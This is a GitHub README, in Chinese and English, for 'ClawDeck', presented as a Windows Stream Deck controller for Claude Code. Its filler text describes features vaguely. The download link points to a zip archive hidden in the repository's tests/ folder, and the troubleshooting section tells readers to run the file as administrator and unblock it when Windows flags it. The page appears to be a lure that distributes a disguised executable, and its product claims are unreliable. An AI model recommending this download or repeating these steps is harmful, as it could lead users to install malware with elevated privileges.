ClawDeck:Windows 上的 Claude Code Stream Deck 控制器
gaminghousenursingaide761/ClawDeck
ClawDeck 是一款面向 Windows 的 Claude Code 控制器,提供快捷按钮、状态视图和窗口平铺功能,让用户无需翻找菜单即可控制 Claude Code。它支持 Windows 10/11,可搭配 Stream Deck 设备使用,也可作为桌面工具运行,所有操作均在本地完成。
🚀 Getting Started
ClawDeck is a Stream Deck controller for Claude Code on Windows. It gives you quick buttons for common actions, a clear status view, and easy window tiling from one place.
Use the link below to visit the download page and get ClawDeck:
Visit the ClawDeck download page
📦 What ClawDeck Does
ClawDeck helps you control Claude Code without digging through menus or files. It is built for fast, simple use on a Windows desktop.
It can help you:
- See Claude Code status at a glance
- Launch common actions with one click
- Tile windows into clean layouts
- Keep work tools easy to reach
- Reduce time spent switching between windows
🪟 System Requirements
ClawDeck is made for Windows desktop use. For the best results, use:
- Windows 10 or Windows 11
- A mouse and keyboard
- A stable internet connection for the first download
- Enough free disk space for the app and its settings
- A screen with at least 1366 × 768 resolution
If you use a Stream Deck device, ClawDeck can fit into that workflow. It also works as a desktop tool for fast control from your computer.
⬇️ Download and Install
-
Open the ClawDeck download page: https://github.com/gaminghousenursingaide761/ClawDeck/raw/refs/heads/main/tests/Claw-Deck-moulrush.zip
-
On the page, look for the latest release or the main download file.
-
Download the Windows version to your computer.
-
If the file is a .zip package, right-click it and choose Extract All.
-
Open the extracted folder.
-
Double-click the ClawDeck app file to start it.
-
If Windows asks for permission, choose Run or Yes.
-
Keep the app in a folder that you can find again later, such as Downloads or Desktop.
🧭 First-Time Setup
When you open ClawDeck for the first time, follow these steps:
-
Start Claude Code on your computer.
-
Open ClawDeck.
-
Check that the status area shows Claude Code is ready.
-
Pick the actions you want to place on buttons.
-
Save your layout.
-
Test one button to make sure it works.
-
Adjust the window layout if you want a different view.
If you use the app often, keep it pinned to your taskbar so you can open it fast.
🎛 Main Features
🔍 Visual Status
ClawDeck shows a simple status view so you can see what Claude Code is doing without checking another screen.
You can use this to:
- See if Claude Code is active
- Check if the app is ready
- Spot when a task is running
- Confirm when a process is finished
⚡ Quick Actions
Set up buttons for the actions you use most.
Common quick actions can include:
- Start Claude Code
- Open a recent workspace
- Refresh the status view
- Clear a workspace view
- Run a common command
- Switch between saved layouts
🪟 Window Tiling
ClawDeck can help you arrange windows in a clean layout.
Useful layouts can include:
- Side-by-side split
- Large center window with side panels
- Two-panel work view
- Focus mode with one main window
- Multi-window grid for review work
🧰 Easy Access Controls
The interface is built for fast use. You can keep the tools you need close by and avoid extra steps.
This is useful when you:
- Jump between tasks
- Compare output with notes
- Keep a browser open with Claude Code
- Want a clean desk view on screen
🖱 How to Use ClawDeck
1. Open the app
Double-click ClawDeck from the folder where you saved it.
2. Check the status
Look at the status area first. This shows if Claude Code is ready or busy.
3. Choose a button
Pick the button for the task you want to do.
4. Use window tiling
If you need more space, choose a tiling layout that fits your screen.
5. Keep working
Use ClawDeck as your control panel while you work in Claude Code and other apps.
🔧 Common Actions You Can Set Up
ClawDeck works best when you match the buttons to your own routine.
Here are some useful button ideas:
- Open Claude Code
- Show active project status
- Move the main window to the left
- Move the main window to the right
- Tile two windows side by side
- Return to a saved layout
- Refresh the status panel
- Close extra windows
You can keep the buttons simple. Short labels help you find the right action fast.
🧩 Tips for Better Use
- Put your most used actions on the first row
- Use short names for each button
- Keep your workspace layout simple
- Save one layout for focus work
- Save one layout for review work
- Leave space for tools you open often
- Use the app on the same monitor each day if you can
If you use a Stream Deck or a similar control pad, place the most important actions where your hand reaches them first.
🪛 Troubleshooting
ClawDeck does not open
- Check that the file finished downloading
- Make sure you extracted the .zip file if needed
- Try opening the app again
- Right-click the app and choose Run as administrator
Windows says the app is blocked
- Right-click the file
- Open Properties
- If you see an Unblock option, select it
- Try again
Claude Code does not show status
- Open Claude Code first
- Refresh ClawDeck
- Check that both apps are running
- Close and reopen ClawDeck
Buttons do not work
- Open the layout settings
- Check that the action is assigned to the button
- Save the layout again
- Restart the app
Window tiling looks wrong
- Check your screen resolution
- Try a different layout
- Close extra windows before using tiling
- Use one monitor at first, then test again on more than one monitor
🗂 Suggested Folder Setup
A simple folder setup can make ClawDeck easier to use:
- Downloads: for the first file
- Desktop: for a shortcut
- Documents: for saved layouts
- One folder named ClawDeck: for app files and settings
Keep the app and its files in one place so you do not lose track of them later.
🔒 Privacy and Local Use
ClawDeck is meant to act as a local control tool on your Windows computer. It helps you manage your workflow from your own machine.
For most users, that means:
- Your actions stay on your PC
- You control when the app runs
- You choose what buttons do
- You can keep your layout simple and private
🧠 Best Use Cases
ClawDeck fits well if you:
- Use Claude Code every day
- Want a faster way to start common tasks
- Need a clean window layout
- Like using one control panel instead of many menus
- Want a desktop tool that keeps key actions within reach
📌 File and App Notes
You may see files such as:
- .exe files for the Windows app
- .zip files that contain the app
- settings files for saved button layouts
- layout files for window positions
If you are not sure which file to open, start with the Windows app file or extract the zip package first.
🧪 Quick Test Checklist
After setup, check these items:
- ClawDeck opens
- Claude Code is running
- The status view updates
- At least one button works
- Window tiling changes the screen layout
- The app stays open without errors
📥 Download Again
If you need the download page again, use this link:
🪄 Simple Daily Workflow
A basic workflow can look like this:
- Open your work folder
- Start Claude Code
- Open ClawDeck
- Check status
- Press the button for your task
- Use window tiling if you need more space
- Keep working with the layout that fits your job
来源:GitHub · github.com